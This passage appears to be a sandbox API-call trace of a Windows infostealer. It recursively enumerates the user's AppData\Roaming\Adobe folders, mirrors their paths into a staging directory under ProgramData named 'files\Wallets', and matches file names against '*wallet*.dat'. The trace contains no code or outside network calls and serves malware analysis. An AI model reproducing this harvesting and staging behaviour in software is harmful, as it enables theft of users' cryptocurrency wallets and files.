lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" [0052.051] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" [0052.051] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\" [0052.051] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\", lpString2="addressbook.acrodata" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" [0052.051] PathMatchSpecW (pszFile="addressbook.acrodata", pszSpec="*wallet*.dat") returned 0 [0052.051] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.051] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0052.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\" [0052.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.051] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security" [0052.051] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\" [0052.051] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\", lpString2="CRLCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.051] lstrcmpW (lpString1="CRLCache", lpString2=".") returned 1 [0052.051] lstrcmpW (lpString1="CRLCache", lpString2="..") returned 1 [0052.051] lstrcpyW (in: lpString1=0x19c524, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*.*" [0052.051] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\*.*", lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0x58a040 [0052.072] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.072] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.072] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\." [0052.072] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.072] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.072] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\." [0052.072] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.072] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.073] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\.." [0052.073] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.073] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.073] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\.." [0052.073] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.073] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.073] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.073] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" [0052.073] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.073] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.073] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" [0052.073] PathMatchSpecW (pszFile="0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl", pszSpec="*wallet*.dat") returned 0 [0052.073] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 1 [0052.073] lstrcpyW (in: lpString1=0x19c93c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.073] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" [0052.073] lstrcpyW (in: lpString1=0x19c730, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache" [0052.073] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\" [0052.073] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" [0052.073] PathMatchSpecW (pszFile="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", pszSpec="*wallet*.dat") returned 0 [0052.073] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19c264 | out: lpFindFileData=0x19c264) returned 0 [0052.073] FindClose (in: hFindFile=0x58a040 | out: hFindFile=0x58a040) returned 1 [0052.074] PathMatchSpecW (pszFile="CRLCache", pszSpec="*wallet*.dat") returned 0 [0052.074] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.074] FindClose (in: hFindFile=0x58a540 | out: hFindFile=0x58a540) returned 1 [0052.074] PathMatchSpecW (pszFile="Security", pszSpec="*wallet*.dat") returned 0 [0052.074] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.074] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.074] PathMatchSpecW (pszFile="DC", pszSpec="*wallet*.dat") returned 0 [0052.074] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.074] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.074] PathMatchSpecW (pszFile="Acrobat", pszSpec="*wallet*.dat") returned 0 [0052.074] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.074] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe" [0052.074] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\" [0052.074] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0052.074] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe" [0052.074] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\" [0052.074] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" [0052.074] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0052.074] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0052.074] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*.*" [0052.075] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589fc0 [0052.075] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\." [0052.075] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" [0052.075] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\" [0052.075] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\." [0052.075] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.075] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.075] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\.." [0052.075] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player" [0052.075] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\" [0052.075] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Adobe\\Flash Player\\.." [0052.075] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.075] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.075] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.075] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\" [0052.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0052.075] lstrcpyW (in: lpString1=0x19e2fc, 